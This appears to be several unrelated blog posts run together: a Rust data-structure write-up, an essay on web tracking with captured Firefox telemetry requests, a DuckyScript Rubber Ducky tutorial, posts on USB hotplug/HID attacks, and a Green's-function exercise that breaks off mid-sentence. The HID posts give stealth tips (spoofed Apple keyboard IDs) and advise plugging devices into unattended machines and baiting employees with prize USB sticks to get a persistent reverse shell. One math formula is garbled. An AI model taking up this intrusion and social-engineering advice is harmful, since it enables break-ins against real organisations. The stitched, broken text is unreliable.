Picture this: you're reverse-engineering some binary format, and you discover a nightmare hierarchy that makes onions jealous. Files split into slices. Slices containing commands. Commands holding elements. And oh, did I mention? It's recursive - those elements can contain more elements, going arbitrarily deep.

But here's the kicker: everything lives in dual address spaces. You have absolute offsets from byte zero of the file, AND relative offsets from the start of each container. It's like having a building where every room has both a street address AND a "third door on the left from the lobby" description.

Welcome to the world of load commands in executable files. Where sanity goes to die.

The Obvious (Wrong) Solutions

Your first instinct? "Throw it in a HashMap!" Map every absolute offset to its structure path. Simple, right?

Wrong. You'd need to map every single byte. For a 100MB file, that's 100 million entries. Your "optimization" just consumed more RAM than Chrome on a Tuesday.

Next attempt: "Fine, I'll use ranges!" Build a lookup table with (start, end, path) tuples. Better, but now you need interval trees, overlapping ranges, complex maintenance...

Still wrong. You're solving a problem that doesn't exist. These aren't arbitrary intervals - they're a clean hierarchical partition of the file.

The Janus Insight

Then it hit me: Why fight the duality? Embrace it.

Enter the Janus Array - named after the Roman god with two faces. One face looks forward through the hierarchy (give me slice[i].commands[j].elements[k]). The other face looks backward from absolute addresses (where does offset 0x47382 live?).

Two access patterns. One unified structure.

rust

// The "forward" face - direct hierarchical access
file.slices[i].commands[j].elements[k]  // O(1)

// The "backward" face - recursive binary search  
file.find_address(0x47382)  // O(log n)

The Implementation Beauty

Here's where Rust shines. One trait, multiple implementations, recursive elegance:

rust

trait DiskOffsets {
    fn find_address(&mut self, addr: u64) -> Result<Coordinates, Error>;
    fn get_absolute_range(&self) -> Range<u64>;
    // ... other methods
}

Every level (File, Slice, Command, Element) implements this trait. The search algorithm? Recursive binary search that delegates down the hierarchy:

rust

// In each level's find_address():
while start <= end {
    let mid = (start + end) / 2;
    let range = children[mid].get_absolute_range();

    if range.contains(&addr) {
        // Found it! Delegate to the child
        return children[mid].find_address(addr);
    }
    // ... binary search logic
}

Beautiful. No separate index structure. No memory duplication. The hierarchy IS the index.

When Theory Meets Reality

The textbook says "O(log n) per level, so O(log n × levels)."

Textbooks lie.

In practice, with load commands:

• Files rarely have more than 3 slices

• Many commands are leaf nodes (no elements)

• Elements are uniformly distributed when present

So the real complexity? T(S,C,E) = ln(S) + ln(C) + ln(E), where S+C+E=n.

But S ≤ 3 in practice, so ln(S) ≈ 1.1 = constant.

Real complexity: O(ln(C) + ln(E))

Most of the time you don't even reach the element level, so it's just O(ln(C)).

This is what happens when you analyze algorithms in context, not in isolation.

The Payoff

The Janus Array gives you:

• O(1) hierarchical navigation for the common case

• O(log n) reverse lookup when you need it

• Zero memory overhead (no auxiliary structures)

• Type-safe error handling throughout

• Recursive elegance that scales naturally

All wrapped in Rust's zero-cost abstractions and memory safety guarantees.

Conclusion: Architecture Over Algorithms

This isn't about being clever with data structures. It's about understanding your problem domain well enough to design solutions that feel inevitable.

The binary format had duality baked in. Instead of fighting it with complex indexing schemes, I embraced it with a structure that naturally supports both access patterns.

Sometimes the best optimization is realizing you don't need to optimize at all. You need to design better.

And yes, all the Python developers can kiss my gluteus maximus. 😉

GitHub: https://github.com/gb-at-r3/janus-array

Tracking refers to the set of technologies and techniques used to observe, record, correlate, and analyze a user's digital behavior.

It’s not just about who you are. It’s about what you do, when, where, for how long, how often, with whom, and from what device.

Tracking happens across multiple layers:

• Application-level (cookies, pixels, fingerprinting, analytics)

• Network-level (DNS, IP, TLS metadata, SNI, packet timing)

• System-level (device IDs, persistent sessions, SDKs)

• Contextual-level (mouse movement, scroll depth, clickstream, behavioral patterns)

Every session, every interaction, every moment online is potentially harvested.

Why It Exists (and Thrives)

Reason 1. Targeted Advertising

Tracking is the foundation of modern adtech. Each time you visit a website, your behavioral profile is auctioned off via Real-Time Bidding (RTB). Ads are tailored to you based on microtargeting logic.

Real-Time Bidding is a programmatic advertising process where your behavioural profile is sold in an auction that takes place while a web page is loading.

Every time you visit a site with ads:

1. A request is sent to multiple ad exchanges (platforms that connect advertisers and websites).

2. This request includes several pieces of information, the most remarkable being:

   • Your IP address

   • Device details (browser, OS, screen size)

   • Geolocation

   • URL you’re visiting

   • Behavioural data (from cookies, trackers, fingerprinting)

3. Advertisers bid to show you their ad — based on how valuable your profile seems for their goal.

4. The highest bidder wins. Their ad is displayed. This happens in less than 100 milliseconds.

Shortly: you’re not just looking at a page. You’re being priced, profiled, and auctioned off in real time.

Reason 2. Retention & Optimization

Platforms want you to stay. The longer you engage, the more valuable you become. Tracking identifies what grabs your attention — and replicates it.

Reason 3. Machine Learning Fuel

Modern AI systems — from recommendation engines to large language models — rely on vast amounts of labeled behavioural data to learn, generalise, and predict.

Tracking provides that data, continuously and at scale.

Each click, pause, scroll, or bounce becomes a training signal. Each session adds to the dataset. Each pattern strengthens the model that defines what someone like you is likely to do next.

Examples:

• YouTube’s recommender refines what to serve based on watch time, video abandonment rate, and click-through chains — all fed by real-time tracking.

• Instagram and TikTok optimize dopamine loops by analyzing swipe speed, dwell time, and engagement frequency.

• E-commerce platforms (like Amazon or Shein) adapt pricing, product positioning, and discount visibility based on your micro-behaviors.

And it’s not just content.

Tracking also fuels fraud detection models, sentiment analysis engines, and customer scoring systems — many of which influence decisions without your awareness or consent.

If we want to see it as a system:

• Behavioral data is the oil.

• Tracking is the pipeline.

• Machine learning is the refinery.

Reason 4. Surveillance & Control

Whether corporate or governmental, modern surveillance systems ride on the back of tracking infrastructure.

They don’t need to build new sensors — they repurpose the ones already embedded in your browser, your phone, your apps.

Corporate surveillance

Enterprises use tracking to:

• Monitor employee behavior via endpoint telemetry, session recording, keystroke analysis

• Detect insider threats using behavioral baselines derived from app usage and device posture

• Implement digital workplace scoring, where performance and trust are inferred from click patterns and presence signals

The same tracking logic used to serve ads can be retooled to decide if you’re “productive enough”.

Governmental surveillance

State actors exploit tracking in multiple layers:

• By subpoenaing adtech platforms, they can obtain location trails, IP-to-device mapping, and behavioral fingerprints

• Passive data collection (from public DNS logs, TLS metadata, etc.) allows for network-wide pattern analysis

• Covert trackers embedded in state-controlled media or compromised apps can leak operational metadata in hostile environments

In some cases, corporate tracking directly feeds national intelligence systems (see: China’s data fusion practices, the NSA’s XKeyscore, or India’s Aadhaar-linked web tracking).

What started as advertising telemetry has evolved into population-scale telemetry.

Telemetry is the automatic collection and transmission of data from a system to a remote server for monitoring, analysis, or optimization.

In the context of software and devices, it includes:

• App usage patterns

• System performance metrics

• Error reports

• Device configuration and state

• Interaction logs (clicks, scrolls, keystrokes, etc.)

Telemetry is often marketed as diagnostic data.

In practice, it’s a firehose of behavioural and technical information, sent continuously — often without granular consent or visibility.

The scariest part.

And the scariest part? It’s opt-out only if you’re technical. For everyone else, it’s just there — quiet, systemic, and persistent.Why It’s Everywhere

• It is Invisible by Design: You’re rarely asked for real consent. And even when you are, the tracking happens anyway — through loopholes, fingerprinting, or network metadata.

• Opaque Collaboration Networks: Trackers don’t work alone. They sync identifiers across domains, share data via redirect chains, cloak domains using CNAME tricks, and respawn cookies through cache abuse.

• Resilient Techniques: Blocking third-party cookies did not kill tracking. It just moved to more sophisticated methods: fingerprinting, bounce tracking, URL decoration, DNS-level correlation, TLS fingerprinting.

• Incentives Architecture: The modern internet economy is based on attention extraction and behavior prediction. More tracking leads to better models, which leads to more engagement, which ultimately leads to more profit.

Why It’s a Problem

Privacy Destruction

Granular tracking makes de-anonymization trivial. Even without your name, behavioral patterns are unique enough to identify and profile you precisely.

Algorithmic Discrimination

Prices, visibility, and access can change based on who the algorithm thinks you are. The logic is opaque. The impact is real.

Manipulation

Tracking enables cognitive shaping: bubble filters, nudging, hyperpersonalized content. You don’t choose what you see — it’s chosen for you.

Security Surface

Tracking creates attack surfaces: correlation vectors, lateral channels, forensic identifiers, and potential exfiltration points.

Tracking IS NOT Analytics

It’s important to distinguish: not all user measurement is invasive.

There are privacy-respecting analytics tools (e.g. Plausible, self-hosted Matomo) that don’t fingerprint, don’t use cookies, don’t correlate sessions.

But in most real-world cases, “analytics” is a euphemism for behavioral profiling pipelines.

More About Telemetry

Mozilla Firefox

In this experiment, I will do something very straightforward. I will use BURP Community Edition to intercept the traffic from a Firefox instance.

The browser will not be instructed to open any page. There will be no user activity, no search queries, no bookmark clicks. Just a clean launch.

Objectives

I just want to observe and analyze what Firefox does on its own, right after being opened:

• What domains are contacted?

• What headers or payloads are sent?

• Which services get pinged before I even type a URL?

Setup

System: macOS (clean profile)

Tool: Burp Suite CE

Firefox Version: Stable release, default settings

Proxy Configuration: manual proxy to 127.0.0.1:8080

Cert: Burp CA imported and trusted via Keychain Access

Startup Mode: new profile, launched via --ProfileManager to ensure isolation

Initial Traffic Snapshot

The image below shows what happens immediately after launching Firefox, with no user activity.

As you can see, the browser sends multiple GET requests to:

• /canonical.html

• /success.txt?ipv4

These are directed to detectportal.firefox.com, Mozilla’s portal detection service.

Despite being innocuous in appearance, this behavior:

• Happens without consent

• Uses both HTTPS and plaintext HTTP

• Leaks device presence on the network (especially over insecure Wi-Fi)

Even worse: it repeats — Firefox loops the portal check periodically while open.

canonical.html

Request

GET /canonical.html HTTP/1.1
Host: detectportal.firefox.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
Pragma: no-cache
Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx
Content-Length: 90
Via: 1.1 google
Date: Tue, 17 Jun 2025 17:55:46 GMT
Age: 52249
Content-Type: text/html
Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600

<meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

success.txt

Request

GET /success.txt?ipv4 HTTP/1.1
Host: detectportal.firefox.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Priority: u=4
Pragma: no-cache
Cache-Control: no-cache

Response

HTTP/1.1 200 OK
Server: nginx
Content-Length: 8
Via: 1.1 google
Date: Tue, 17 Jun 2025 19:28:55 GMT
Age: 46661
Content-Type: text/plain
Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600

success

Google Chrome

With Google Chrome, the situation is radically different.

Even without user input, the browser launches with Google.com as its homepage — which means immediate and automatic tracking via:

• multiple Google domains (google.com, gstatic.com, googleapis.com, etc.)

• embedded service calls (ads, analytics, autofill sync, safe browsing)

• JSON calls to OpenAI, extensions, and suggestion engines

I will not dissect the traffic here — not because it’s uninteresting, but because the volume of calls, third-party redirects, and embedded service interactions is nontrivial to map linearly.

Understanding Chrome’s behaviour requires correlating multiple telemetry layers, which will be the focus of a dedicated analysis later in the series.

For now, it suffices to say:

You don’t use Chrome. Chrome uses you.

Safari

Identifying Safari’s telemetry on this machine requires a completely different approach.

Unlike Chrome or Firefox, Safari relies heavily on system-level services (nsurlsessiond, locationd, apsd, suggestd, etc.), many of which operate outside the browser’s visible context and don’t send traffic directly under Safari’s name.

Additionally, most of its networking is tightly integrated with:

• Apple’s private relay mechanisms (if enabled)

• iCloud session sync and Siri suggestions

• Launchd-driven agents, some of which trigger on startup regardless of user activity

For these reasons, a clean analysis of Safari’s background behavior requires low-level system inspection (e.g., lsof, tcpdump, or Little Snitch logs) — not just proxy interception.

I will write a dedicated article about this soon… The rabbit hole is deeper than it looks.

Other Browsers

Given the current market share and telemetry transparency (or lack thereof), I will not consider Opera in this investigation.

Despite its Chromium base, Opera routes a significant amount of traffic through its own infrastructure — including VPN-like proxies and extension bundles — making it a separate case entirely.

And honestly: no one serious in security uses Opera.

As for Microsoft Edge:

I promise I’ll dig into its artifacts as soon as I have a Windows machine under my fingers.

I promise.

(Even if that means borrowing one from a corporate graveyard.)

For this time, That’s all, folks. Have fun. But be a little scary, it’s cool!

Still, none of that ever really stopped me from writing. So it’s only fair I share what’s been brewing on my side.

The Good

Over the past months, I’ve been deep into a few major projects. The first — and the one I’m most excited about — is a new way of thinking about web security. The moment I saw it, I fell in love.

It’s not a library. It’s not a WAF. It’s not a rule engine. It’s a SaaS, but a strange one. And although I’m under NDA, I can still give you a glimpse into what makes it different.

Traditional WAFs — even the more advanced ones — share some fundamental problems:

• They’re prone to false positives. Lots of them.

• They’re also prone to false negatives. And that should scare you.

• A skilled penetration tester can detect them and, although it takes effort, craft payloads that bypass their protections.

• The effectiveness of the solution depends heavily on who configures it.

No matter how well you tune them, these issues persist.

Lately, there’s a new wave of ITSec tools trying to inject AI into the mix — promising smarter detection, automated defenses, and adaptive behavior.

But here’s the thing: deterministic algorithms are still more efficient and trustworthy than these early attempts at AI-driven controls.

The solution I’ve been working on flips the script.

It’s not about dropping a gateway that blocks regex matches. It’s about dissecting the input, understanding its intent, and giving the asset owner a clean answer: YES, it’s an attack. NO, it’s not.

But the part I’m truly obsessed with — the one eating most of my dev time and that I genuinely love building — is the deceptive security module.

That’s where the fun begins.

The startup behind it is called a-maze. They’re currently incorporating, and I can already say it’s one of the most enjoyable teams I’ve worked with in a long time.

The Bad

A few weeks ago, I was contacted by this funny guy — I can mention his name, he has no problem — Mr. Dave Null.

The name immediately reminded me of the /dev/null device in Unix: the bottomless pit where unwanted things go. Turns out, that’s no coincidence. It’s a nickname — and that explains why he doesn’t care if I write about him. In fact, he encouraged it.

These guys commissioned me to run a research project on how the average Internet user is tracked.

Now — I already knew we’re all tracked. We all do.

But I hadn’t fully realised the depth and pervasiveness of the practice. It’s not “surveillance capitalism.” That’s a euphemism. It’s more like digital embezzlement — and the worst part? The victim (that’s us) doesn’t even know it’s happening.

We all know about spam. The word itself has entered most natural languages.
But tracking is worse. Much worse.
It impacts all of us, invisibly, constantly — and only benefits a handful of actors.

So I wrote a lengthy document that reverse-engineers the entire process — from techniques to technologies, from cookies to pixels to browser fingerprinting. I might also publish a follow-up with practical containment measures.

Nickname or not, real person or not — it’s good to know that the Internet still produces people (or collectives) willing to fight back. To learn. To understand what’s being done to them.

And hopefully, to take action.

The Ugly

Other projects are spinning up on my side, and I barely have time to write things down.

I’ve written a good chunk of code in Rust — which, to be clear, is not ugly as a language. Quite the opposite. But learning it hasn’t been (and still isn’t) the easiest journey I’ve ever embarked on.

Some components of that SaaS beast will eventually be written in other languages.
(No — not Python, not JavaScript. That would be ugly.)
Which means: more tech stacks, more brain friction, more context switching.

We’re also developing a cross-platform desktop app for another tool. So yeah...

...spare time will only shrink from now on.

But I’ll keep writing here. Maybe even more regularly — I’ll try, at least.

Thanks for reading through this long — yet overdue — rant. See you in the next post.

Have fun, dudes.

These actions are to be described in the DS language, they are then compiled in a payload. The USB Stick will then inject this stream of bytes in the remote host.

Phew, the theory doesn't seem too difficult - and in fact, it isn't. DS is quite straightforward, because it only needs to specify basic actions. From now on, we will introduce more advanced operators directly with the payloads.

I am writing payloads for MacOS, because this website is mostly about MacOS security. Adapting the scripts to Windows, Linux, or Android should be quite straightforward for you.

Oldies goodies - the Hell o' world payload.

What do we want to achieve

We want a new TextEdit windows opening and writing the string "Hell o' world" in it. Easy Peasy.

How would I do it as an operator

1. press COMMAND and SPACE at the same time.

2. Spotlight shall open (see image below) and write in the dialog TextEdit.app followed by a carriage return character

3. Wait for the system to open the application

4. Write in the app's main window the string "Hell o' world!"

5. Inflate a carriage return

6. Write in the app's main window "Duck you, you ducking duck!" followed by a carriage return

7. Write in the app "Especially you. Yes, you."

How do I write this payload?

Remember that in a previous article INSERT LINK HERE I introduced the payload studio? Exactly, now it's time to make use of it. So point your browser to https://payloadstudio.com/pro/ (or the community edition, if that was your choice).

Your browser will show the Hello World code we have discussed last time. Delete it all.

Now type the following in the editor:

ATTACKMODE HID STORAGE
DELAY 3000
COMMAND SPACE
STRING TextEdit.app
DELAY 500 
ENTER
STRINGLN Hell o' World
ENTER
DELAY 4000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you

Now hit the Generate Payload button. If everything worked fine, you'll end up with the following

Hit the download button, now your payload is ready to be tested.

Just in case you're wondering, this is what I obtained:

The problem now becomes how do we test the payload, and in detail, how do we put the payload in the USB key.

Deploying the payload

Fortunately, deploying the payload is quite a simple process. We will come to this in much greater detail, but the essence is that you're about to copy the inject.bin file you generated in the Payload Studio in the root of the Rubber Ducky.

A cautionary note, tho. Rubber Ducky has several modes, mainly the attack mode and the storage mode. One switches between them by clicking the small button integrated in the chipset, it should be easy to identify in the image below:

Clicking that button toggles between the modes, so you may need to do this by some trials and errors. But it's just two clicks, in the worst case. In my case, it is easy: my AV tries to scan the volume when I mount it in storage mode.

Testing the Payload

We're up for failure, boys, but let's do it with style! I assume you have been able to deploy your inject.bin file in the stick - if not, well... I am not helping you! But if you were, you'd expect your shiny "Hello World" payload to work fine and...

... and if you did everything as expected, you obtained the following windows:

and

In fact, the system is trying to identify the keyboard (because this is how it sees the Rubber Ducky, after all) to configure it. Whatever the reason, this is everything but what we want to achieve, for it's not stealthy at all.

Fortunately, we can tweak our code and instruct the RD to tell the host system what kind of keyboard it is. This will add - at least - the stealth element to our attack. Hopefully.

Payload revision #1

Reopen the Payload studio and edit the payload so that it becomes

ATTACKMODE HID VID_05AC PID_021E
DELAY 10000
COMMAND SPACE
STRING TextEdit.app
DELAY 10000 
ENTER
STRINGLN Hell o' World
ENTER
DELAY 10000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you

Again, compile and deploy. The VID parameter we declared stands for Vendor ID, and the PID stands for Product ID. We are basically telling our Mac that we plugged in a shiny Apple Keyboard. We will discuss more the Attack Modes in our next article.

I also changed the DELAYs. DELAY <k> waits for k milliseconds before continuing the flow of execution, so the effect of DELAY 10000 is just introducing a delay of 10 seconds. This will help us checking if everything is as we expect, especially in terms of stealth.

Copy the code, paste it into Payload Studio, compile it and download the corresponding inject.bin file. Deploy it into your USB Stick. Get ready for some more frustration.

Another debugging session

I assume you did exactly what I explained before, so that you can follow me. Upon inserting the USB key in, some things take place.

We immediately see that the Keyboard Setup Assistant doesn't show anymore. So the first change we did was successful.

We also see that having a long DELAY after typing TextEdit.app is detrimental for the stealth of the attack. Let's get rid of it, and perhaps decide if we need it somehow after the ENTER.

The TextEdit app starts with a File Open dialog. Fortunately this can be overridden with a quick COMMAND n.

Wrapping all these together:

ATTACKMODE HID VID_05AC PID_021E
DELAY 1000
COMMAND SPACE
STRING TextEdit.app 
ENTER
DELAY 1000
COMMAND n
STRINGLN Hell o' World
ENTER
DELAY 10000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you

Build, Deploy, Quack.

Now it starts to work. One may or may not want to optimise it. I hadn't the slightest will to do it, so for the very moment, I am sharing a "functional, yet not perfect version" of this monstrosity. Have fun doing the tweaker/spippolator and make it perfect - to me, good enough is good enough.

ATTACKMODE HID VID_05AC PID_021E
DELAY 1000
COMMAND SPACE
STRING TextEdit.app 
ENTER
DELAY 250
COMMAND n
DELAY 1000
STRINGLN Hell World
ENTER
DELAY 1000
STRING Duck you, 
STRING you ducking duck!
ENTER
ENTER
STRING Especially you. 
STRINGLN Yes, you

Ok, this should have given you some taste of DS, and of how we can play around with these little, tiny sons of the USB. I meant, sons of the devil. See ya next time...

In the first article of this series, we introduced hotplug attacks. Here we will dwell more in detail, and make a few considerations on how these attacks should be mounted.

A few considerations on how the attack should be done

Consider that a successful and lucky hotplug attack would resolve the intrusion, or at least a large part of it. The attack should be mounted like any other Pentest probe, starting from the information gathering phase, all the way up to the deployment of sticks and the social engineering attack that should eventually lead to plugging the dongle.

Perhaps you have seen that episode of Mr. Robot in which such an attack is mounted - the key is left on purpose in the parking lot of the company that the main character wanted to violate. The rest is all luck.

You don't have the certainty that a viable target would plug the dongle in - and actually, if the company has a decent Security Policy and the users are diligent, this kind of situation won't ever happen.

However, it's all about shooting in a barrel - chances are that sooner or later there will be a (l)user doing what you hope for. Or you can trick the secretary, or anyone else into that.

Human Engineering is more an art than a science, and we have heard dozens of manners to mount such an attack. Just go for the most credible one.

The components

Hey, here we talk about real components. I read somewhere that hardware is what you can kick and software is what you can curse. We'll curse and kick things around - but that's what we like.

Shortly put, there are only four components to such kind of attacks:

• the human factor: we have already spoken about this element, but just a note: be a little psychologist. Try to see what your targets exposure are. If your target happens to be a guy who asks you to download a few nintendo games for his kids, then do that, and store them in your evil USB key. I think it's pretty clear what I mean: play dirty, play rough. Fuck rules.

  • The human factor is important, but not so important. If you find an unattended device, just try and plug the stick in. Chances are that someone will log into the device and your payload gets executed.

  • Shortly put, be creative. I am not a good "Human engineer", but this is quite a cheap skill nowadays.

• (Your) hardware. Millions of different options. Flipper 0, Bash Bunny, Rubber Ducky, your own (we'll buy one, fear not!). Not a lot to say here. In principle, it'd be nice having also a USB C object - at the very moment, the nearest thing is the Flipper 0.

• (Their) hardware not a lot you can do here, apart from a good reconnaissance

• The payloads. We'll be back on this shortly, for they are the most important element of the whole attack. Payloads are the code that is executed (or, more precisely, the keystrokes that will be injected) in the target system.

Now, all the components should be reasonably clear, and so should the concept of HotPlug attack be.

The next step is understanding how to build a payload.

Human Interface Devices attacks are as powerful as disregarded. In this article, we'll define the foundations of this family of attacks, the underlying concepts, and why this kind of attack can be a game changer for a successful intrusion test.

What is HID

HID stands for Human Interface Devices. It is a full class of devices thought to model the interaction between the User (that's why Human...) and the computer. In this class of devices, one finds keyboards, mice, trackballs, controllers, and the like. A good description of this family of devices and the underlying protocols can be found on the Microsoft website, although a very in-depth knowledge of the technology is not crucial for our purposes.

The key aspect to understand here is that the devices belonging to this class are thought to be used by a human. Somebody in the long story of hacking (who? I never knew this - but once again, it's not crucial for our purposes) has thought to create a more evil version of such a device: a "thing" that emulates a keyboard disguised into other devices, like an "innocent" usb stick. These objects can be programmed to inject a predetermined string as if it were written directly in the host's keyboard - the attack scenarios are obvious! The concept behind these tools make them OS independent. As long as the system can be influenced by the behaviour of a keyboard, this attack can be mounted, at least in principle. The most effective defence is, in fact, disabling USB input, or whitelisting only given devices - but the majority of computers that we find around don't implement this measure. This is a very fortunate situation for us, innocent testers paid to violate the corporate networks!

The first and most famous Bad USB stick is Hak5's Rubber Ducky; but many other solutions can be found on the market. However Hak5 has created a standard, the scripting language that is used to code the payloads.

In this series of articles, we will go deep in the anatomy of a HID attack, we will learn the Duck Script, and we'll devise some real case scenarios.

Attack scenario 1: slashing bunnies with an axe

You have been engaged to test the security posture of the ACME company. WLOG, we can assume that:

• The company belongs to any industry.

• Size of the company: another invariant aspect. To fix the ideas, we'll assume it's a small company (e.g. 10 to 50 heads)

• Structure: Let us assume that we are not attacking a corporation; for sometimes corps have a more structured security program that could block our attacks, especially if the company works into intellectual property, or finance.

Our target will obviously be a naive employee. Our objective is obtaining a foothold in the company. How nice would it be having - say - a machine inside the target network that spawns a reverse shell every time it's turned on? Remember that a reverse shell usually leverages the HTTP protocol, and that quite often internal firewalls are configured not to block HTTP communication generated from within the corporate network.

Well, by the mean of a successful HID attack, we could obtain such a thing.

Suppose that just in front of the company's main building, on a sunny morning, a kiosk pretending to give everybody the opportunity to win a brand new iPhone (or Flat TV, or a trip to Bora-Bora, or whatever sounds expensive and juicy). The only thing that the participant needs to do is to answer to a survey, contained into [what looks like] a usual USB stick. Plus, the USB stick also remains to the participant!

Yay, double victory.

Chances are that some of the potential participants will try immediately when they reach their office to run their race and - guess what? They have already opened their defences to you! And now, from the machine on the internal network, you have your so-much-coveted reverse shell..

Another innocent bunny sees the axe!

Why is this type of attack successful? Basically, the crucial point is that the computer blindly trusts the human interface device and the operator. This aspect is crucial because it is a structural one, so the effects reverberate strongly.

Concerns and points of attention

For the time being, let's assume we have a fair understanding of how the Bad USB attack works: shortly put, one plugs an USB device in, the device "does the magic", and boom! You're in.

Actually there is a lot more to this, and there are some points of attention that must be considered; such as:

• typing speed: would this introduce problems?

• visibility: the largest part of commands issued by keyboard has also some visual output. How to manage this?

• OS: do we know which OS runs on the target machine? What if it is not what we expected?

In principle, typing speed should not be an issue, meaning that the USB stick is obviously faster than a human being, at writing. This may induce problems, for the output of a given command may take some more time than the expected. There is no human patrolling, and the stick may not know when the previous command is finished. Long story short: caution must be taken when designing payloads; trials and errors will be the usual way of developing.

Hiding the output of commands is another crucial aspect to our attack, because we want to be stealthy. We shall show how to obtain this ninjutsu when introducing the Ducky Script.

OS: this is less problematic than it seems, and we'll address also this topic in a further stage.

If you are like me, and use advanced math every day or so, you may find yourself struggling with the Green Function. In my case, it's because Green Function is largely introduced with Physics related concepts, and I don't really like physics. Tough luck. However, the whole thing boils down to the fact that you can find plenty of books explaining the theory, but few attacking the problem in a neat way. So, here we go. I am giving a couple of examples, trying to explain clearly as much as I can what I do. I will avoid giving further theory, here.

Some Bureaucracy

Do you remember when I said I would have not touched any theory. Well, I lied. But not too much. Here I will give some "useful facts" that should help you understanding the reason behind some choices. I tried to keep the part as easy and short as I can.

Fact 1: Dirac's delta primitive: the Heaviside function

The following is a well-known result regarding the Dirac Delta function:

$$\int_{u-\epsilon}^{u+\epsilon}\delta(x-u)f(x)\,dx=f(u)$$

Now take the function being the unit function:

$$f(x)=1\quad\forall x\in\mathbb{R}$$

and evaluate the integral

$$\int_{-\infty}^{t}\delta(x-u)\,dx=\begin{cases} 0\quad tu \end{cases}=H(x-u)$$

Observe that the Heaviside function is not continuous in

$$x=u$$

Fact 2: the derivative of a non-continuous function

Assume you have a function not continuous on a given point of its domain:

$$d(x) \text{ not continuous in }x=u$$

Then it is easy to show that this function can be expressed like the sum of a continuous function with the product of the Heaviside function multiplied by the "leap":

$$d(x)=c(x)+h\cdot H(x-u)$$

deriving both sides, this gives:

$$\begin{align} d'(x)&=c'(x)+h\cdot H'(x-u)\\ &=c'(x)+h\cdot \delta(x-u) \end{align}$$

A basic exercise

Consider the boundary value problem defined by the ODE:

$$\frac{d^2}{dx^2}y=f(x)$$

with the boundary conditions:

$$\text{BC1:}\quad\quad y(0)=y'(0)$$

$$\text{BC2:}\quad\quad y(1)=y'(1)$$

It is useful to solve the associated homogeneous differential equation with inhomogeneous constraints. The solution of the given BVP will follow by linearity.

By definition, the Green function solving this Boundary Value problem will satisfy the relation

$$\text{D1:}\quad\quad\frac{d^2}{dx^2}G(x,\xi)=\delta(x-\xi)$$

So the solution of the homogeneous ODE is

$$y(x)=c_0x+c_1,\quad c_0,c_1\in\mathbb{R}$$

This dictates the structure of the Green function as follows:

$$G(x,\xi)=\begin{cases} Ax+B\quad\text{if } x\in[0,\xi[\\ Cx+D\quad\text{if } x\in]\xi,1] \end{cases}$$

However the parameters depend on the value of the other variable, so we express this function as

$$G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)x+D(\xi)\quad\text{if } x\in]\xi,1] \end{cases}$$

Therefore

$$\frac{d}{dx}G(x,\xi)=\begin{cases} A(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)\quad\text{if } x\in]\xi,1] \end{cases}$$

Observe that from D1 we see that G' and G'' are not continuous in x=u. Further:

$$\text{C1:}\quad\quad\lim_{\epsilon\to 0}\left[ \frac{d}{dx}G(x,\xi) \right]_{x=\xi-\epsilon}^{\xi+\epsilon}=1$$

Finally we want the Green function to be continuous in x=u, so:

$$\text{C2:}\quad\quad\xi A(\xi)+B(\xi)=\xi C(\xi)+D(\xi)$$

Time to play a bit with the constraints. Take in consideration BC1:

$$\text{BC1_bis:}\quad\quad y(0)=y'(0)\Rightarrow\left[A(\xi)x+B(\xi)\right]_{x=0}=A(\xi)\Rightarrow A(\xi)=B(\xi)$$

Now analyse BC2:

$$\text{BC2_bis:}\quad\quad y(1)=y'(1)\Rightarrow \left[C(\xi)x+D(\xi)\right]_{x=1}=C(\xi)\Rightarrow D(\xi)=0$$

From C1 we obtain:

$$\text{C1_bis:}\quad\quad C(\xi)-A(\xi)=1\Rightarrow C(\xi)=A(\xi)+1$$

So far:

$$\begin{align} G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)x+D(\xi)\quad\text{if } x\in]\xi,1] \end{cases} &\underset{\text{BC2_bis}}{\Rightarrow} G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ C(\xi)x\quad\quad\quad\quad\text{if } x\in]\xi,1] \end{cases} \\ &\underset{\text{C1_bis}}{\Rightarrow} G(x,\xi)=\begin{cases} A(\xi)x+B(\xi)\quad\text{if } x\in[0,\xi[\\ \left( A(\xi)+1 \right) x\quad\quad\text{if } x\in]\xi,1] \end{cases} \\ &\underset{\text{BC1_bis}}{\Rightarrow} G(x,\xi)=\begin{cases} A(\xi)x+A(\xi)\quad\text{if } x\in[0,\xi[\\ \left( A(\xi)+1 \right) x\quad\quad\text{if } x\in]\xi,1] \end{cases} \end{align}$$

Now apply C2 to obtain:

$$\xi A(\xi)+A(\xi)=\xi A(\xi)+\xi\Rightarrow A(\xi)=\xi$$

To recap

$$G(x,\xi)=\begin{cases} \xi\cdot x+\xi\quad\text{if } x\in[0,\xi]\\ \left( \xi+1 \right) x\quad\text{if } x\in[\xi,1] \end{cases} = \begin{cases} \left( x+1\right)\xi\quad\text{if } x\in[0,\xi]\\ \left( \xi+1 \right) x\quad\text{if } x\in[\xi,1] \end{cases}$$

And this closes the first part of this exercise.

An application

Suppose now we want to find the solution of the DE

$$\frac{d^2}{dx^2}y=x^2$$

within the constraints:

$$y(0)=y'(0)+1$$

and

$$y(1)=y'(1)+2$$

Establish

$$\varphi(x)=x^2$$

We want to use the Green function we found to solve

$$\frac{d^2}{dx^2}y=\varphi(x)$$

and it is a very well-known result that the solution is given by

